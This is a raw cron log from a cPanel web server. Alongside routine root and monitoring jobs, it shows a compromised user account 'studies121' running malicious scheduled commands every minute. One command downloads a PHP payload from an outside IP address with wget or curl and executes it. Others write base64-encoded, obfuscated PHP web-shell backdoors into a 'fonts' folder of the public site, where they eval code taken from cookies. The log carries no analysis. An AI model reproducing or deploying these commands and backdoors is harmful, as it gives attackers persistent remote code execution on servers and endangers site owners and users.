Feb 22 19:20:01 ip-184-168-122-23 CROND[23749]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 19:20:01 ip-184-168-122-23 CROND[23751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:21:01 ip-184-168-122-23 CROND[24117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:21:01 ip-184-168-122-23 CROND[24120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:21:01 ip-184-168-122-23 CROND[24119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:21:01 ip-184-168-122-23 CROND[24118]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:22:01 ip-184-168-122-23 CROND[24542]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 19:22:01 ip-184-168-122-23 CROND[24544]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:22:01 ip-184-168-122-23 CROND[24545]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:22:01 ip-184-168-122-23 CROND[24546]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:22:01 ip-184-168-122-23 CROND[24547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:23:01 ip-184-168-122-23 CROND[24886]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:23:01 ip-184-168-122-23 CROND[24889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:23:01 ip-184-168-122-23 CROND[24887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:23:01 ip-184-168-122-23 CROND[24888]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:24:01 ip-184-168-122-23 CROND[25236]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:24:01 ip-184-168-122-23 CROND[25238]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 19:24:01 ip-184-168-122-23 CROND[25239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:24:01 ip-184-168-122-23 CROND[25240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:24:01 ip-184-168-122-23 CROND[25241]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:25:01 ip-184-168-122-23 CROND[25581]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 19:25:01 ip-184-168-122-23 CROND[25580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:25:01 ip-184-168-122-23 CROND[25588]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 19:25:01 ip-184-168-122-23 CROND[25589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:25:01 ip-184-168-122-23 CROND[25587]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:25:01 ip-184-168-122-23 CROND[25590]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:26:01 ip-184-168-122-23 CROND[25929]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:26:01 ip-184-168-122-23 CROND[25931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:26:01 ip-184-168-122-23 CROND[25932]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 19:26:01 ip-184-168-122-23 CROND[25934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:26:01 ip-184-168-122-23 CROND[25933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:27:01 ip-184-168-122-23 CROND[26279]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:27:01 ip-184-168-122-23 CROND[26281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:27:01 ip-184-168-122-23 CROND[26282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:27:01 ip-184-168-122-23 CROND[26283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:28:01 ip-184-168-122-23 CROND[26699]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 19:28:01 ip-184-168-122-23 CROND[26701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:28:01 ip-184-168-122-23 CROND[26703]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:28:01 ip-184-168-122-23 CROND[26706]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:28:01 ip-184-168-122-23 CROND[26708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:29:01 ip-184-168-122-23 CROND[27051]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:29:01 ip-184-168-122-23 CROND[27052]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:29:01 ip-184-168-122-23 CROND[27053]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:29:01 ip-184-168-122-23 CROND[27057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:30:01 ip-184-168-122-23 CROND[27384]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:30:01 ip-184-168-122-23 CROND[27385]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 19:30:01 ip-184-168-122-23 CROND[27387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:30:01 ip-184-168-122-23 CROND[27389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:30:01 ip-184-168-122-23 CROND[27390]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:30:01 ip-184-168-122-23 CROND[27391]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 19:30:01 ip-184-168-122-23 CROND[27393]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 19:30:01 ip-184-168-122-23 CROND[27397]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 19:31:01 ip-184-168-122-23 CROND[27750]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:31:02 ip-184-168-122-23 CROND[27752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:31:02 ip-184-168-122-23 CROND[27755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:31:02 ip-184-168-122-23 CROND[27753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:31:02 ip-184-168-122-23 CROND[27754]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 19:32:01 ip-184-168-122-23 CROND[28099]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 19:32:01 ip-184-168-122-23 CROND[28101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:32:01 ip-184-168-122-23 CROND[28104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:32:01 ip-184-168-122-23 CROND[28102]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
